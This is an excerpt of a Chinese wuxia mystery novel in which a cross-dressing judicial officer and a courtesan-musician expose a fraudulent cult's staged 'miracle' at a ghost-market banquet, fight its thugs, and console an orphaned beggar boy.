《云跋扈》
1. 风起雄鹰遇云雀
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“大人到了么？”青岚姑娘立于心月楼门前遥望而去，酥手纤纤摇晃着白绸银丝雪犬团扇，仿佛这轻摇，抚的不是清风，而是人的心房。
清夜无尘，月色如银，冷辉洒落潺潺浮动，湖面倒影着心月楼的流光烨彩，微风拂过，泛起的不知是心中涟漪还是意兴阑珊。整个夜市都可闻见心月楼里的丝竹之音悠悠，欢心笑语莺莺，正是客人和姑娘们酒酣正浓时。
瞬息间，马蹄声遥寄，青岚才莞尔一笑。
“等久了吧。”方茉云身如轻燕般飞身下马看向青岚说道，身后跟着两员随从。
众人不禁注视而来，当真应了那句银鞍照白马，飒沓如流星。马上之人正是方茉云，只见他墨发高束，棱角分明，眉眼透着一丝英气，嘴角却笑意灿然。
“随我来吧。”青岚嫣然而笑，引着他们朝夜市街尾而去，青岚是南境第一琴师，不知多少公子贵人拜于裙脚，她都不曾侧目。
众人不禁几分叹慕此人能得青岚如此青睐，瞧向这位大人的背影，肩窄精瘦但背脊挺拔，步履轻快却气韵稳健，一看就非等闲之辈。
方茉云是月前，从县城调来了南境的名城中州城做司法参军，司法参军之责便是州里的治安和刑罚。
“你刚来这中州府衙当差，非要入这鬼市？素来官差鲜少插手鬼市之事……且这铸心堂本是个他们信众焚香祈福之所，你何时对此些事情有兴趣？还要去参加其晚宴所为何事啊？”青岚摇曳的晃着团扇前行，眼中透着疑虑不时瞧向茉云
“什么官差不官差？我小地方来的，听说这鬼市铸心楼的夜宴有好酒，有好舞还有漂亮姑娘，我得去瞧瞧。”茉云满脸的期待，如同小姑娘上街赶紧一般欢欣雀跃。
“那舞姬曾是我姐妹，叫做鸳鸯。”青岚的脸色中瞬时闪过一丝寡淡。
“你还有能招来神迹的姐妹，那你还在心月楼瞎混个什么劲？”茉云一副恨铁不成钢的样子看向青岚。
“曾是？明白什么意思吗？方参军。”
“为何？”
“人在风中，聚散不由。”青岚轻声叹息了一下，“鸳鸯寻到了自己的命中之人，便这般不顾一切的弃了心月楼去了。”
“哦，她有人，跟人跑了？实属不该。你没人，没跑成，就是好员工，好姐妹。你们这是多敬楼爱楼啊，这心月楼的乔妈妈比咱府衙大人管得到位啊！”
“老娘自己卖艺赚钱自己花，好得很。”青岚摇着团扇没好气的瞪向茉云，“有些姐妹啊，着实不要也罢。”
茉云身后跟着其下属小马和太易，都是府中衙役，期初他们还以为青岚姑娘与自己头琴瑟和鸣，可这一瞧两人亦不像那男欢女爱，但却是亲密无间，不知如何形容他两的关系？
他们一行人跟着青岚从街尽头台阶走到河岸边石道，一路西行，彼时夜色已如墨，月影如钩，前行不到一盏茶的功夫，一座沧桑的石桥映入眼帘，桥面被挂满的暗红灯笼映照着。
“此处便是中州鬼市的入口。半夜开市，黎明即散。戴上这面罩吧！”青岚在入口处取下了树枝上的面罩为茉云戴上。
茉云早已极目眺望而去，抑制不住心中的激动。
“方茉云，我可跟你说好，这鬼市的规矩，不买莫问，不问来者，不知出处，不得造次。再者那铸心楼可是铸心堂的总坛，”
“哎，知道了，知道了，青岚，这没人带你跑，许是也有原因的！”茉云惋惜的看向青岚搭着她的肩膀说道，换来青岚好大一白眼。
进入鬼市，茉云远瞰而去，这幽暗狭窄的石板街保留着岁月深深的痕迹，两旁老院墙更是处处镌刻着风霜的侵蚀，院墙下林立的都是看似斑驳破败的摊位。只留出中间狭窄的通道，似乎只能容人一来一去，多一人便觉不畅。
在商贩们微弱的烛光映照下，整条街上，古玩暗香，瓶瓶罐罐、奇花异骨却又是琳琅满目，融融如海。鬼鬼祟祟的身影熙攘不绝，三教九流热闹非凡，充斥着暗夜的涌动和欲望。
茉云缓步前行，路过地上铺满盘和罐的不言药摊边嘴角微扬“这儿东西不错。都是实心做买卖的。”
“头，这不言怎么问医买药。”小马看向那药摊道
小马的驻足换来那摊主冷漠而尖利的眼神，仿佛是在威胁其不买则莫看，快些走开。
“自然这世上不只医病的药。不然怎得有用药之人，亦有下药之说呢？”
茉云踱步往前兴致勃勃的四处张望着，旋即又在一捏面人的摊位上停了下来，摊上各种捏好的面人五颜六色惟妙惟肖，有曹操，有张飞，有龙亦有猪，而摊主那一双沧桑而干瘦的手半刻都没有停。
“看见没有，老伯是手艺人！看这雄鹰威武霸气，一双红透的鹰眼透着犀利。我喜欢，买了。”
“捏面人？你几岁了？”
“众人来鬼市拜神迹，拜的到底是仙还是鬼？我总觉处处透着邪气。”茉云的眼神中透出一丝冷凌，可是瞧着手中老鹰又欢喜的笑了，“看这赤红的双眼没，参了朱砂，朱砂辟邪，我就指着它护着我。”
青岚抬眉望向茉云，无语只得按照摊主写的，往盘子里放了三文钱。那摊主没有任何神情，都未抬眼继续捏着手中面人。
随着青岚一行人到了铸心楼外大堂排队入场，转身看向鬼市街道的热闹鼎沸“哎……若不是着急入场，这地值得一逛。”
“这儿什么都可以买。”青岚轻抚着团扇顾盼而望
此时众人都在候着排队入场，长廊两边廊柱都经历过岁月磨砺，廊内红笼高挂，光影流传，可见彩画有些斑驳，却风韵犹在，廊边置有高案，案上香炉丝丝缕缕的青烟在空中缠绕再消散。
“现在已经到了，你可以跟我交代实话了吧？你来这铸心楼为何？”
“我刚入城之时，夜幕降临，饥肠辘辘，且不知府衙在何方，路遇一小乞丐，为我引的路，此事你知晓的。”
“他和铸心楼何干？”
“我问小乞丐为何小小年纪便沿街乞讨，他说他父母皆被铸心堂所害。起初是他娘得了热症，去了铸心堂诚心祈福，被巫师以恶症需奇丹为名诓骗，让他爹砸锅卖铁，换了所谓的灵丹妙药，可他娘因药不对症而身亡。”
青岚轻轻将团扇挡在嘴前，眼中流出对那小孩的怜悯。
“他爹气愤难当来找铸心堂理论，回来不久就不知怎的一命呜呼。小乞丐他求我给他报仇，我应了。”茉云抬眼看向铸心楼的牌匾，眼中顿时露出了狠戾。
茉云走向廊边高案，伸手拨了拨香炉的青烟，屏息了一口，是苏合香云香，此香没得什么问题。自己的好奇心着实被作祟了起来，
2. 雄鹰面前耍大刀
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青岚愣在原地半天不敢言语，瘪瘪嘴看向茉云。
茉云抬眼望去，堂中文人骚客、达官贵人如云，皆围坐于红木雕花蝶如意圆桌旁，觥筹交错，佳人同欢，实乃找酒人前共，软玉灯边拥。
“这么大的地，为何就在起这堂中央设桌椅？”茉云顿又觉蹊跷的说道。
“奇货可居呗？你可知订这一桌得花多少银子？”青岚晃过来摇着扇往订的贵宾桌前走去。
“要钱？你如此聪慧，必知，这衙门不好报销这支出吧？”茉云大步流星的轻声道。
“方茉云，帮你忙，还要我贴钱呗！”青岚顾盼生姿的转身，眼含愠色看向茉云。
茉云顷刻就被桌上点心所吸引，那圆桌上摆放着各色的花式立体摆盘的点心，有玉梨鲜花饼，山楂小团糕，荷花枣泥酥，椒盐麻香饼和椰香糯米糍，皆置于花开富贵高足盘中，咸甜自相宜，酥软皆可觅。
讲究啊，茉云看着自己顷刻间都有点想原谅他们了。
“头，这儿离舞台近，好动手……”小马和太易小声伏低头评价道，他两是州府衙役，茉云的属下“还有瓜子，果盘，点心送！”
“青岚姑娘素来周到。”茉云丝毫没有搭理青岚的愠怒往前行去
“方茉云，我怎么就有你这么个寒酸吝啬又理所当然的朋友。” 青岚眉眼一弯又嫣然含笑骂道。
“相识于微，人生贵相知嘛！”茉云轻弹衣袖，昂然而坐，伸手便拿起椒盐麻香饼送入嘴边，抬眼却发现刚才那五人就坐在自己旁桌。
“幼时真不该吃你那半个馒头？”青岚没好气的娇嗔骂道。
青岚嘴上虽如是说，可刚听茉云说起了小乞丐，她自己便不禁想起自己身世，幼时因为战乱父母双亡的逃难岁月。
也是这般的夏夜，还偏遇大雨倾盆，自己狼狈躲至屋檐之下，饥肠辘辘，筋疲力尽，屋残路破，雨刷打着碎瓦，水顺着屋檐滴落到石路，落下的不知是顶上雨还是心中泪。遇见茉云和他两兄长一路小跑亦到同一屋檐躲雨，亦都是小孩。
茉云满心欢喜的掏出讨来了两馒头，他大哥拿起一个馒头和其二哥一分为二，一人一半，然后把另一个都让给妹妹茉云吃。
自己蜷缩着在墙角，炎炎夏日，心却如寒霜三尺，闭上双目，顿感举目无望，因这世上自己再无亲人了，还苟活于世所为何。
“给。”这时传来一声清爽欢畅的声音，她睁开眼之时，映入眼帘的是一张满脸污糟，发丝凌乱却笑意灿烂的脸，就是茉云。
自己怯懦的看向茉云炯炯的闪亮的双眸，好似含有光芒万丈。。
“我刚还讨了些别的路上吃了，这馒头我吃不完，浪费粮食会挨雷劈的，要不你帮我吃一半？”茉云边小口吃着，边将另一半馒头塞过来说道。
“谢谢。”青岚小心翼翼的双手接过半个馒头吃了起来，好像这辈子从未吃过这般美味一般。
“别客气，你也是逃难吗？”茉云边用手背抚开自己额前乱发开心的咬着馒头，边坐到自己身旁，就好像是认识许久的老友一般。
青岚微微点头看向茉云，她亦在逃难，居然还这般精气神十足。
“你别看我脏兮兮的，把脸洗得你这般干净，不好讨吃的！”茉云睁着大眼笑着比划着说道“诶，你有要去的地方吗？”
青岚摇晃着头，自己都寻思也许自己都逃不到下一城了。
“那你跟我们一起吧，我亦是女孩，我还有两兄长，我听说边城有个仁慈的老太太，每日给孤儿发粥，你长得这般好看，肯定好讨吃的。”茉云满脸憧憬的描述道，“听说那儿端午还发粽子。”
自此自己就这般跟着茉云走了，一路虽苦难却欢乐，茉云拉着自己干尽了奇葩事，到处招摇撞骗却总填饱肚子，直到自己遇到了乔妈妈。
亦是茉云劝自己，也不好骗一辈子吃食，若自己喜琴，又有人愿意教习这门手艺，便是幸事，自己才万般不舍和他们三兄妹道别，随乔妈妈走了。
一晃这么多年，任岁月荏苒，任世事沧桑，念往昔如初。那便是自己此生都无法忘却的时光，以欢喜之心，度人事坎坷。哎，自己也是终究欠了她的。
可是她摇着团扇瞧向茉云带着这两属下，贪吃着那不需他们花钱的点心，那狼吞虎咽的样，又气不打一处。
“老娘这辈子再不吃馒头了。”青岚眼不见为净的看向一旁骂道
茉云嘴角上翘被逗笑了，点心吃起来没下药，这让自己心情豁然开朗，抬手将青白釉酒壶提起，轻轻晃动，将壶口贴近鼻息，似乎在享受酒香的馥郁和浓香，心中却想着这酒也没问题。
斟满酒碗，他端起白玉酒碗轻抿一口，酒具亦没有做文章。
茉云边小酌着边抬眼望去，出得起此钱的果然不是肥头大耳的财主员外就是弱不禁风的文人公子，没几个有身手的，不足为惧。
，
而这堂内的护院身手也多不足为虑，一般打手而已，自己的另外两名下属老马和石川亦在带人在来的路上，府衙皆可收拾。
茉云的眼神落在了身旁贵宾席上，可唯独这玄衣公子五人看来蹊跷，刚看他们的气息和步态，那都是中州都难能一见的高手，若打起来，别自己来没抓到鬼，却被人打成了鬼。
茉云若有所思侧身看向太易轻声吩咐：“太易，刚那个不言药方左边数起，第二排第三个罐子之药，去买点来。”
“是。”太易旋即就起身离开除了铸心堂。
茉云继而转战果盘，手指细致的剥着葡萄皮，似乎深怕皮将葡萄肉带了去，擦擦皮干脆都塞嘴里，满意的嘴角上扬，皮薄汁多，好果。
“怎的？你有何发现？”青岚俯在茉云耳边轻声细语道
“没半点发现？”茉云端起白玉花瓣碗到嘴边轻抿着酒，一脸的期待望向台上。
“那你这般开心？像幼时等着看不要钱的戏一般？”
“说得一点没错！据我说知，武林中有一种高超不凡的武功身法，可以凌波步于虚空，腾云驾雾一般。”茉云若有所思期待的预测到
青岚无语的摇着团扇看向茉云，没个正经是他的常态。
“如若不济，没得高手……亦可能是西域传来的奇妙幻术，听说那幻术可点雕刻成活物，比如这面人，他一点，哗，一只苍鹰腾空而去，你说精彩不精彩。”
茉云比划着忽得看向旁桌，那玄衣公子身边的随从似乎有一人跟自己是同道中人，眼神直勾勾的瞧着桌上点心，被另一位随从瞪了一眼，但是那玄衣公子随手拿起尝了一口，点了一下桌面，示意让其也吃，那人眉眼中瞬间透出了欣喜，伸手就拿起了椒盐麻香小饼，果然是同道中人。
“若都不是呢？”青岚没好气的撇眼看向茉云，小马亦笑得不行
茉云神思才又回到自己圆桌前：“再不济，高人所制的迷药！把客人和咱都迷得神魂颠倒，他说啥是啥！这也甚好。”
“好在哪儿？”
“待我把这里抄了，然后搞点回去给乔妈妈。咱不就发达了？”
“你！”青岚没好气的摇着扇轻吼道“我们是做正经生意的。”
“对对对，这中州那是肯定再没得比心月楼正经的地方了。赶明我帮你们乔妈妈求宋大人给你们赐个匾，上面写着正经青楼，挂你们正堂。”茉云一脸故作严肃正经的抬手比划着匾的大小说道
青岚欲哭无泪的愤然摇着扇，却似乎扇子摇得再急，也摇不走她心里的火。
“头，您看，这儿的情况，我们基本都收拾得了吗？”小马忍着笑，也凑过来轻声问道。
“收拾不了。”
“为何？”
“论战力，你瞧旁边那桌！”茉云手上把玩着面人，然后余光瞥向隔壁那桌。
“怎的？”
青岚和小马亦都不自觉的瞥了过去，那五人着实气定神闲，特别是那玄衣公子，吐息之间常人都能感受其威猛之气。
“见那玄衣公子？论战力，他就如同我手中这只大老鹰，其余四人，起码也是四只雕。你看咱这桌，我……”
“头，那你肯定尤胜于那玄衣公子。”小马满
3. 雄鹰云雀初过招
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茉云抬手便端起白玉花瓣酒碗起身了，而另一只手拿起那惟妙惟肖的老鹰面人，朝玄衣公子大步流星走去。
“这位公子，刚才多有冒犯，在下敬您一杯！”茉云端着酒碗喜笑颜开的走了过去。
而那玄衣公子眼眸中只透出冷静和漠然。茉云将那老鹰面人插在筷筒之中朝着那玄衣公子。
“公子你瞧，这老鹰和您是不是有几分神似，威武霸气却锁紧眉头。”
他身旁之人都不禁转头看向玄衣公子，再看向茉云那嬉皮笑脸的模样皆愣了半刻！
“公子，人生匆匆，星海横流，何苦愁眉不展，中州是个好地，愿君且喜无拘亦无碍！我敬您。”
正啸居然抬目看向了茉云，举起酒杯和茉云碰杯，两人一饮而尽！
“请！”茉云转身弯眉而笑，已将太易买回之药下入其酒壶，他坐下瞥了一眼，心里不禁乐了。管他是什么邪魔外道，让老鹰去和他互瞪吧，他两着实神似。
此事定矣，茉云又撑着头朝台上望去，这猪油蒙了心的铸心楼，自己倒要看看他们搞什么鬼？
彼时鸳鸯莲步而出，众人望去，不愧是南境第一舞姬。
鸳鸯脸上妆容诱媚，赤红的眼影眉尾耀着金丝，与云鬓之上的金色步摇相映衬。一身朱红霓裳，勾勒出身姿的风流袅娜，衣着妖冶得有丝肆意，眼神却截然相反的透出清冷。
“神迹喜欢这一款的？那你行差了路线啊。”茉云侧目看向青岚道
青岚懒理茉云，亦望向鸳鸯，不知缘由的，却看出了她眼中的无可奈何。
鸳鸯居然径直朝他们桌案前缓步而来，她定是认出了青岚，看向青岚终露出了少女般的笑颜“你来了。”
“嗯，许久不见。”
“这是……”鸳鸯看向了方茉云，她一看便亦知此人非凡夫俗胎，心中思虑着这难道就是青岚所托付之人。
“他啊，是我自幼的朋友。”
茉云径直端起酒碗起身道：“鸳鸯姑娘既然来了，喝一杯如何？”
“好，不知公子如何称呼？”鸳鸯捧起了酒碗，手如柔夷，肤如凝脂，瞬时好像让白玉花瓣酒碗都顿失皎洁。
“在下卢正啸！”茉云忽得稍许提高了自己声调端起酒碗回道。
“卢公子请。”
此时周遭之人不禁都投目而来，包括玄衣公子身边之人，瞬间也直愣愣的瞅了过来，众人眼神中有不解，有羡慕，有诧异，亦有愤怒，唯独那玄衣公子，依旧缄默不语的端坐于此。
“您可是勇冠三军的卢将军？”此时后桌从边关来此商人满目崇敬看向茉云，他定是听过卢正啸的名讳。
“诶，如此良辰美景之时，我等不做大人，亦不做将军，我只做这人间最放浪的烟火！”茉云狂放的将酒碗之酒尽数倒入口中尽显豪放不羁。
“卢大人说得好。您如此英雄豪迈，难怪连鸳鸯姑娘都如此青睐大人！”那商人端起酒碗便殷勤的走至茉云身边。
“鸳鸯姑娘真是颠倒众生，让人心驰神往啊！”茉云满脸笑意望向鸳鸯。
他心中却揣摩着，此舞姬难道身藏什么高超身法吗？看气息寻常得很啊，还是她已高超得能隐藏其身法气息。人在盛怒之时，最易暴露气息，激怒她试试。
“大人过奖了！”
“有首描写鸳鸯姑娘的诗，怎么写的来着……”茉云放下酒杯做冥思苦想状。
此时众人的目光自然都被鸳鸯姑娘吸引到此处。
“酒力渐浓春思荡，鸳鸯绣被翻红浪！”茉云看向鸳鸯吟诗道。
众人顿时哄堂大笑，此诗用于此处着实过于虎狼艳俗，难登大雅之堂。
“这什么诗啊？”青岚愠怒的起身扯过茉云衣袖轻声数落道。
鸳鸯的脸上瞬间闪过被冒犯的怒意，双眸中透出了不屑一顾，纤纤玉手顷刻放下了酒碗，可顷刻又闪现出待客的笑脸盈盈！
“好诗！卢将军，能平定边关，让敌人闻风丧胆必是虎狼之人。”边关商人在一旁簇拥赞誉道，要知道卢将军在边关那是多大一人物啊，那可是镇南大将军。官大成这样，对于寻常人来说，其余皆不重要了。
“什么家国大业，我卢某此生，做个俗人，贪财好色，一世风流甚好！”茉云更是张狂的举起酒碗，借着酒意豪言道。
“过得好吗？”鸳鸯抬目顾盼而来看向青岚。
“老样子，你呢？”
“胜却人间无数。”鸳鸯眼中盈满的依旧是那花不尽，月无穷，两心同的情意。
“那便好。”
“我要登台献舞了，稍会儿聊。”鸳鸯浅谈一笑道。
“好。”
鸳鸯转身的一瞬，冷冷瞥了茉云一眼。那一眼仿佛在庆幸自己找到了对的人，而又有几分叹息青岚所托非人。
人皆众星捧月般与之共饮，欢笑声、交谈声和碰杯声交织在一起。而鸳鸯和青岚，从眼眸到灵魂，都仿佛与这些繁华热闹皆无关。
待茉云放下酒杯坐下，望向鸳鸯的背影，自己空欢喜了一场，她就仅仅只是一个美娇娘，没有半分高深身法。她侧目望向青岚那盯着鸳鸯的眼神，心中顿觉无语。
“青岚，你可知我只会看谁之时，用你这眼神吗？”
“谁？”
“王屠夫的儿子王胖子。”
青岚瞬间脸上挂满了无语，他们幼时亦见过富家公子小姐，茉云独独最羡慕那王屠夫儿子王胖子，王屠夫虽一脸横肉凶狠样，却日日都将最好的肉留给儿子，一家人小日子其乐融融。
王胖子是他们挚友，人仗义，总乘着他家里无人之时，偷了自家的饭菜给他们吃，为了多剩点，王胖子每每忍着口水，自己吃饭时都不吃。
他们离开之时，王屠夫才忍无可忍冲茉云吼道，她若再不滚，王胖子会瘦成皮包骨了，边骂边把塞满了干粮的包袱塞他们手中。他们走了，王胖子就傻傻的爬到镇上最高处一直给他们挥手，直到他们看不见他了。青岚回忆着不禁心里又觉得乐了。
“羡慕嫉妒别人，就是对这个人最大的认可。鸳鸯没这资格！”茉云眼神中透出的狠戾，手指用力一掐花生壳和仁皆粉碎。
随即他又愣了一下，这花生挺好吃别浪费，然后埋头仔细的拨开壳，赶忙将花生仁碎碎尽数倒入口中。
青岚瞧见他那没出息的样，随即又叹了一口气。
“唉声叹息什么，人不过有个贼会骗人的男人吗？你也有咱啊。”
青岚言辞中都是数落的口气：“方茉云，那你就真给我长脸了，春思荡，翻红浪，你也说得出口？”
“那你放心，这一局我铁定帮你扳回来。”
“少来，您这将我脸亦丢到家了。”
“此言差矣，我人轻位卑，属实没法涨咱自己志气，但若论灭他人威风，这可是我花毕生心血投身的事业，舍我其谁。你且等着瞧？”茉云继续自顾自的像酒碗斟酒笑道“再者这丢脸得又不是我？”
“这卢正啸又是谁？”青岚倾身又微微凑向茉云耳边问道
“不认识啊，听说是一将军！干这些破事，有
4. 鹰瞰云雀终相遇
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堂中此境似笼罩于虚空之中，四周皆暗淡，唯有仰望天窗而去，明月高挂，耀辉倾洒满堂，月光渐失了朦胧清冷，反而淳淳浮动，渐生渐浓。月下清零上仙立于空中仙气飘飘，而鸳鸯在月光倾注下如梦如幻的翩翩舞动。
环顾四周的木雕和合窗皆禁闭着，透过灯笼锦窗棂的间隙，能感受堂外深夜已寂黑一片，无声亦无影。
“这月儿亮滑得如豌豆黄，把我都看饿了。”茉云自言自语道“他们用啥做的？”
可此时众人皆闭目诚心叩拜，一派崇敬之至呼唤着上仙。
“尔等有何心愿，对月当空叩拜祈福。明月皎皎，赐福众生，虔心教众，自当圆满。”清灵上仙悠悠抬手向叩拜众徐徐而言。
“那什么，您说向月亮祈求圆满？可月亮一年也就圆了那十来日，它自己还想圆，圆不了啊！”茉云起身踏凳飞身上桌，傲然挺立于桌上，抬手指向那轮假圆月，不咸不淡的问道。
“尔等如此造次，是当真不怕上天降罪？”忽得有铸心堂种人怒斥道
清灵上仙眼中透过一丝慌张却故作沉稳，可是眼中露出了凶光，顿然失了清逸气度。
“大人，宁可信其有啊，不能冒犯鬼神……”众人都畏惧的看向茉云。
“哼！我幼时倒怕鬼，说书的都说他们面目狰狞，极为可怖！可如今看来，不足为惧了，因为你们这群恶鬼，皆衣冠楚楚，活得比我还滋润！”茉云怒目瞪向清灵。
“你就不怕我收了你这孽障！”清灵上仙的双眸渐渐透出了阴郁冷森的神情。
“头，老马和石川他们还未赶到，你许要拖延一下。”小马凑近小声汇报道，
茉云心里顿时哽住了，心想看我回去怎么收拾他们这群鹌鹑。可这戏又不能不继续唱了。
茉佳义愤填膺的抡起衣袖怒斥道:“孽障我还满心期待，你们有点什么高招，让人开开眼，结果竟是变戏法的，街边搭个棚子上不得台面的货，还敢登台唱这出大戏？最可耻的是，你这狗贼！桌子还收这么贵！退钱！”
玄衣公子微微蹙眉，其余随从看向此人，均一阵无语涌上心头，他们从京城来，市井泼皮无赖都比其体面，当真是有失官体。
“我等再提醒这位客官，若再造次，上仙降罪，你可担当不起？”
“还有戏？那你继续演啊？不然我可开窗了？”茉佳冷笑指着周遭禁闭的合和窗，便是告知他们，自己已经识破诡计。
“速速显灵，将此妖人擒拿！”清灵嘴中振振有词，陡然一拂袖。
身边闪现两个身披零落残衣，面容苍白犀利，怒张血盆大口的恶鬼。他们张牙舞爪的向茉云扑来，顿时众人吓得惊慌失措，凄然惨叫。
“轻功不错！倒可打赏个三钱银子！”茉云挑眉冷笑的评价道，恶鬼纵身而来，他半步都未退闪，抬手擒住过肩一摔，即而腾空而起，飞转一瞬将另一只也踹飞了去。
玄衣公子淡然看去，此人下手相当毒辣，出招便攻人大穴，皆一招制敌。众人还没敢抬头看清之时，这两鬼已被收拾，仓促之间忍着伤痛，愈以轻功逃窜。
茉云飞身而去回旋一脚，其中一鬼被踹飞而去，撞向和合窗，将木窗击碎，摔落而出，此时窗外夜风穿透，将笼罩在窗外的遮光帘幔吹了起来。
“看见没有，真正的月亮在外面！”茉云指着破窗道，自己本还纳闷又不是小姐闺房，这鬼市中其余房屋所用皆是一推便开的半窗或长窗，为何此处要用合和窗，且还都是新木。
众人此时皆站立起来，看向外面，依旧是一轮新月，高挂苍穹。
“不过是刚刚霎时光烛突灭，众人眼前一片漆黑，惊叹至声势嘈杂，他们借机放下窗外弥补透光的黑帘幔，让此处与世隔绝，再打开所谓天窗，点亮那豌豆黄，哦……不，那长得像豌豆黄的假月，再派这演杂技的踏着铁丝而来。”
茉云说完抬手操起一空果盘往钢丝扔去，果然果盘被钢丝弹回，砸地上摔得粉碎。
“骗子！”众人都愤慨的看向那空中之人，那人瞬间眼神就有些慌乱
茉云又走到了堂中央怒斥道“街上看个杂技，变个戏法，每人打赏个三文钱，那都肯定是胸口起码碎了大石。你这，还给你算个场地费，顶多加2文钱！你这收了多少钱？”
“二十两！还不包酒水。”青岚愤然看向那贼人道
“二十两？”茉云握着自己胸口的衣襟瞬间似乎就要痛哭流涕，又吼道“别的先不说，你先退钱？”
“退钱，退钱，退钱！”于是茉云带领着一众看客冲着舞台怒吼道。茉云却心想能拖一阵是一阵。
那玄衣公子端就酒碗又喝了一口，眼中闪过一丝无语，可他旋即又看了一眼酒碗，放下酒碗若有所思，看向那桌上老鹰面人。
此时一行七八个粗壮的打手全部持械闯入了大堂，大堂瞬间又安静了，明晃晃的尖刀在假月光之下，着实相当刺眼。而为头者虎背熊腰，脸上的大胡子疯长得几乎还有些费力找齐五官，如一团黑云握着弯刀杀气腾腾。
“副堂主。”堂中其他守卫马上上前簇拥道
“闹事者，今天一个都走不了了。”那副堂主如黑煞神一般的瞪向茉云和众人。
“嗯？耍横？”茉云看向他们道。
“不留一个活口。”副堂主粗声怒吼道
“是！”
众人顿时都惊慌失措的各自躲藏，一时间乱成一团，而门已被死死扣住。茉云唯独看向旁桌玄衣公子依旧从容端坐，其随从有人握住剑柄瞪着那些贼人。
“当真不是一伙的，那便好办！”茉云二话不说顿时掀起桌案就砸过去，飞去就砸倒了三人，砸完茉云看向小马和太易“护着她站后面去！”
“是！”
顿时粗壮凶猛的打手围茉云而来，茉云又抬手操起了长凳，一顿猛扑倒一个，丢开长凳就跑。打手晃过神马上追去。
“他这是……”玄衣公子身边一随从看着亦不知如何评价，他们寻常战场之上交战，素来死战到底，哪有真的这般，三板斧打了就跑的，他还一路跑得这么欢实，顺手拿起桌上果子塞嘴里，继续跑。
可是就这般边跑边打，他硬是放倒了一众打手，但你别管她用什么方法，反正亦不比泼妇高雅多少，什么吃完的残果砸人脸上，操起长凳就扑，桌下钻来钻去，总而言之吊着一群打手，跟他一起上窜下跳。众人看得都忘记逃窜躲藏了。
“这不比刚才戏好看？”小马目不转睛的看呆了道
青岚被逗笑了摇着她的团扇，自己还没不晓得她，她自小便是这般打架之时，只要能干倒对方，拿马桶砸她亦常砸。
最终茉云抬手捡起了倒地打手手中之刀，指向那副堂主，眼中都是从容不迫的冷凌与挑衅。
那副堂主顿时刀芒如狂风呼啸而至，众人不禁心中一紧，而茉云瞬时刀锋如流星划过避其锋芒，闪身而过。
“将军，此人好身法！”玄衣男子身边的随从顿时转向他说道，“我等要不要帮忙……”
“不用，等下拿下那舞姬！”
“是！”
玄衣男子倒是手撑头抬眼望去，只见刀影如电，那大个刀法猛然，出手快狠凌厉，刀风极致处都唤起呼呼风响。可他依然不是这小子对手。
这小子轻盈如飞，快如流星，处处狠招都被她四两拨千斤轻易化解，他不过是在摸清对方刀路，瞬间他站定了，腾空而起，空中一个飞旋，只见刀光如凌芒卸下，立成排山倒海之势，挡无可挡。
大个呼喊一声，顿时“哐”的一声刀落地，接着人亦倒地在，血从手中喷射而出，他握刀之手被废。此生怕是不能再持刀行凶。
“让你退钱罢了，偏要耍横！”茉云挥刀于身旁顿时血气萦绕“耍横我素来欣赏，只是要看这谁横过谁？”
那贼人眼中闪出了惊慌，茉云顿觉血脉喷张，这大个看起来横，可也就半吊子，丝毫不痛快，她顿时侧身看向那玄衣男子，此人可一战。
玄衣男子居然也看向了茉云，四目触及，他顿时手轻轻的握紧，因他看清他眼中恶狠的挑衅。
“头，怎么一直没听您下令啊……”这时石川冲了进来喊道，瞬时打破了当时几近凝结的空气。
“全部给我拿下，妖言惑众者，一个都别放过！胆敢反抗者，就地处置。”茉云心想还是干正事要紧，顿时威风凛凛的喝斥道
“是！”顿时石川和老马带着衙役都持刀冲上了楼，将整个大堂团团围住，而众人似乎还未晃过神来。
那清灵上仙飞身一纵想逃，茉云凌空而起，脚尖廊栏上一踏，双臂后展如龙飞跃，腾空跃起就去追那妖人！
半刻之间，茉云身轻如燕的飞身回来，轻盈无声的落地！眉间微蹙，这只是个替身，并不是铸心堂那大巫师。
而玄衣男子往坪外瞥了一眼，只见那巫师在外坪哀嚎，虽未见血，可见其倒地之状，便知定是手骨腿骨全断。
茉云眼色顷刻变得冷厉如饿狼扑食般，过滤着可能的余孽，抬眼看向玄衣公子“哪儿来的？”
“京城。”他身边之人回复道，玄衣
5. 一眼便知不对盘
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东方欲晓之时，茉云就行色匆匆出府衙，赶来了城门口，看见小乞丐难得穿了一身虽有补丁却洗得干净的衣裳，提着一个破竹篮里放了上香的器物，还有元宝钱纸，一些新鲜野果和两个鸡蛋。
“茉云叔叔。”小乞丐远远看向茉云就飞奔而来。
茉云顿时立在原地，有些局促的抬手摸摸鼻子，为难而忐忑的瞅着小乞丐，不知如何开口才好。
“抓到那妖人了吧。”
“抓是抓到了一个，但是好像不是那大巫师……”茉云说话鲜少有这般没底气的时候
“那大巫师呢？”
“没在……”茉云试探的小声说道，目光似乎都不敢去触碰小乞丐眼中的失落。
“啊？”
“但是你放心，我定能抓住！”
“可是你上次说……？今早就去拜祭爹娘跟他们说……”小乞丐的眼眶有些微红。
“哎，马有失蹄？”茉云为了不挡道马上拉着小乞丐两人蹲到了城墙边宽慰道，“但是我已经带人将铸心堂的那个铸心楼抄得干干净净，戳穿了他们骗局，还抓了他们副堂主。”
“太好了！日后他们就不能再出来行骗，再没得小孩的家里被骗了？”小乞丐顷刻又笑了说道
“这会让你觉得太好了？”
“当然了，以前我爹就说过，我若摔了一觉就把坑填平了，其余弟弟就不会摔了，你不用难过，这也是好的。”
茉云顿时有些哽咽看着小乞丐微微笑了点点头，心想他还不如哭一顿，自己还好受点。若这世上之人都如这孩子这般，自己受了苦难，希望别的孩子不受苦，那就便没有鸳鸯这些恶人。可也或许就是因为，小乞丐还只是个孩子。
“给！”小乞丐开心的递过一个鸡蛋给茉云，两人蹲在墙根边上开心剥着鸡蛋吃。
“这是你祭品吧？”
“嗯。”
“咱吃这个不合适吧？”话还未说完，茉云已将鸡蛋全部塞嘴里。
“今日，我本也没法去了，还是等大巫师落网再去跟爹娘禀报。”
“那这果子也别浪费了，到时候给你爹娘采新鲜的哈。”茉云伸手拿起便咬道，正好自己还没用早饭，腹中空空。
小乞丐也乐了，自己也拿起果子咬着。
“带着小乞丐们到处去城里窜窜，看有没得什么落网之鱼，我一并给逮了。”
“好！我今儿就发动大家一起去找。”两人就这般蹲在墙角咬着果子。
天已经微亮，出城经过之人中有好心人依依稀稀因认出了小乞丐，丢了一文钱到他篓子里，然后看向茉云说道“这般大了，去找个活干。”
但是说完就走了，也朝他前面丢了一文钱。
“他不是……”小乞丐起身要解释道，被茉云一把拉住。
“诶，人生在世，不必这么较真。”茉云捡起那文钱塞到自己兜里
小乞丐愣了半刻，无语的看向茉云。
